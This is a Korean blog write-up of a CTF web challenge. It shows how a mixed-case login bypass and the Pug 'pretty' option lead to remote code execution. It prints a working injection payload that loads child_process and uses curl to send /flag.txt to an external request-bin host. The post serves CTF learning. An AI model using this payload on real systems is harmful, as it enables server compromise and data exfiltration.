BISC board

buaii·2023년 11월 22일
0

Web Hacking

목록 보기
34/34

pug pretty vuln

web문제를 잘 풀려면 검색을 잘해야 한다고 느끼게 해준 문제다

우선 사이트의 기능을 살펴본 결과 다음과 같다

  1. login기능
  2. register기능
  3. 게시판 글쓰기 기능
  4. 게시글 수정 기능

해당 기능들과 관련하여 제공된 소스코드를 확인해보면 어디에도 플래그를 출력해주는 부분을 찾을 수 없다;;

그러면 이번문제는 rce를 통해서 flag파일을 읽어오는 문제라고 생각했다

이번 문제에서는 특이하게 pug파일을 사용했다
바로 검색을 해보자

pug의 pretty 옵션을 이용하면 rce가 가능하다고 한다
그러면 문제에서 pretty옵션을 어떻게 사용이 가능한지 코드에서 찾아보자

pretty로 검색을 한 결과 /edit엔드포인트에서 req.body로 입력을 받는걸 확인할 수 있다

하지만 중간에 nowBISC2023이어야만 pretty를 입력할 수 있다

login페이지를 보면 로그인할 때 사용한 id가 now로 정의된 것을 확인할 수 있으며 BISC2023, bisc2023의 로그인을 막고있다는 것을 알 수 있다

하지만 bisC2023, Bisc2023등 대문자와 소문자를 섞어 얼마든지 우회하여 로그인을 할 수 있다

exploit

이제 알아낸 정보들을 가지고 플래그를 얻어보자

비밀번호는 하드코딩되어 있으니 이걸 이용해서 로그인을 하자

payload

');process.mainModule.constructor._load('child_process').exec('curl https://dhlrqrb.request.dreamhack.games/$(cat /flag.txt)');_=('

위에서 확인한 github의 payload를 약간 수정하여 이용하자
cat /flag.txt로 플래그를 읽어온 후 dreamhack의 request bin에 요청을 보내는 방법을 사용했다

작성한 payload로 게시글을 올린 후 Edit로 들어가서 패킷을 수정해주자

pretty파라미터를 추가해주고 payload를 넣어주고 수정을 완료하면 된다

그 다음 작성한 게시글에 들어가면 이렇게 나오는데 무언가 작동했다는걸 알 수 있다

request bin을 확인하면 플래그가 도착했다

profile
buaii

0개의 댓글